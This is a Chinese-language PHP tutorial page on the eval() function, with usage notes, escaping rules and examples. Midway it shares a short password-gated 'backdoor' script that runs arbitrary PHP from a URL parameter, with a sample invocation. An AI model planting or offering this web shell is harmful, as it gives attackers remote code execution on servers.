PHP eval函数使用介绍


Posted in PHP onDecember 08, 2013

代码:

eval("echo'hello world';");

上边代码等同于下边的代码:

echo"hello world";

在浏览器中都输出:hello world

运用eval()要注意几点:

1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)

2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有\来转义。如果没有赋值操作可以不需要。

代码:

$a=100;
eval("echo$a;");

因为没有赋值操作,所以可以不用\来转义$.等同于以下代码:

$a=100;
eval("echo\$a;")

3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。

命令式字符串是指:字符串中包括echo、print之类的命令的时候。

如果参数只有一个变量则可以不用。例如:

$func =<<<FUNC
function test(){ 
  echo "test eval function"; 
}
FUNC;
eval($func);
test();

分享个php eval后门程序

要求必须支持eval函数
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();

<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>

PHP eval() 函数介绍

定义和用法

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

语法
eval(phpcode)

参数 描述
phpcode 必需。规定要计算的 PHP 代码。

提示和注释
注释:返回语句会立即终止对字符串的计算。
注释:该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用。
例子

<?php
$string = "beautiful";
$time = "winter";

$str = 'This is a $string $time morning!';
echo $str. "<br />";

eval("\$str = \"$str\";");
echo $str;
?>

输出:
This is a $string $time morning!
This is a beautiful winter morning!

PHP 相关文章推荐
模拟OICQ的实现思路和核心程序(三)
Oct 09 PHP
在IIS上安装PHP4.0正式版
Oct 09 PHP
php+mysql事务rollback&amp;commit示例
Feb 08 PHP
PHP中使用memcache存储session的三种配置方法
Apr 05 PHP
destoon首页调用求购供应信息的地区名称的方法
Aug 21 PHP
php编写批量生成不重复的卡号密码代码
May 14 PHP
PHP结合Jquery和ajax实现瀑布流特效
Jan 07 PHP
thinkphp在php7环境下提示Cannot use ‘String’ as class name as it is reserved的解决方法
Sep 30 PHP
PHP实现阿里大鱼短信验证的实例代码
Jul 10 PHP
PHP实现浏览器中直接输出图片的方法示例
Mar 14 PHP
PHP实现动态删除XML数据的方法示例
Mar 30 PHP
详解在YII2框架中使用UEditor编辑器发布文章
Nov 02 PHP
Server.HTMLEncode让代码在页面里显示为源代码
Dec 08 #PHP
php自定义的格式化时间示例代码
Dec 05 #PHP
php调整gif动画图片尺寸示例代码分享
Dec 05 #PHP
PHP数据库链接类(PDO+Access)实例分享
Dec 05 #PHP
php函数指定默认值方法的小例子
Dec 04 #PHP
PHP函数microtime()用法与说明
Dec 04 #PHP
php实现memcache缓存示例讲解
Dec 04 #PHP
You might like
mysql_num_rows VS COUNT 效率问题分析
2011/04/23 PHP
PHP+APACHE实现网址伪静态
2015/02/22 PHP
php把大写命名转换成下划线分割命名
2015/04/27 PHP
thinkphp查询,3.X 5.0方法(亲试可行)
2017/06/17 PHP
按下Enter焦点移至下一个控件的实现js代码
2013/12/11 Javascript
javascript创建对象、对象继承的实用方式详解
2016/03/08 Javascript
在JavaScript中模拟类(class)及类的继承关系
2016/05/20 Javascript
jquery 判断div show的状态实例
2016/12/03 Javascript
概述如何实现一个简单的浏览器端js模块加载器
2016/12/07 Javascript
jQuery+ajax的资源回收处理机制分析
2017/01/07 Javascript
快速掌握jQuery插件开发
2017/01/19 Javascript
javascript中replace使用方法总结
2017/03/01 Javascript
Vue异步组件使用详解
2017/04/08 Javascript
Vue基于NUXT的SSR详解
2017/10/24 Javascript
微信小程序实现图片预览功能
2018/01/31 Javascript
Layer弹出层动态获取数据的方法
2018/08/20 Javascript
vue项目开发中setTimeout等定时器的管理问题
2018/09/13 Javascript
详解vuex状态管理模式
2018/11/01 Javascript
js实现简单模态框实例
2018/11/16 Javascript
JavaScript实现动态生成表格
2020/08/02 Javascript
vue+vant 上传图片需要注意的地方
2021/01/03 Vue.js
Python字符串中查找子串小技巧
2015/04/10 Python
python搭建微信公众平台
2016/02/09 Python
浅析Python编写函数装饰器
2016/03/18 Python
Python常见加密模块用法分析【MD5,sha,crypt模块】
2017/05/24 Python
使用PyCharm进行远程开发和调试的实现
2019/11/04 Python
详解python os.path.exists判断文件或文件夹是否存在
2020/11/16 Python
大三在校生电子商务求职信
2013/10/29 职场文书
文秘专业毕业生就业推荐信
2013/11/08 职场文书
捐款倡议书范文
2014/02/02 职场文书
学校安全工作汇报材料
2014/08/16 职场文书
优秀校长事迹材料
2014/12/24 职场文书
2015年八一建军节慰问信
2015/03/23 职场文书
2015年社区科普工作总结
2015/05/13 职场文书
公司管理建议书
2015/09/14 职场文书
JS数组方法some、every和find的使用详情
2021/10/05 Javascript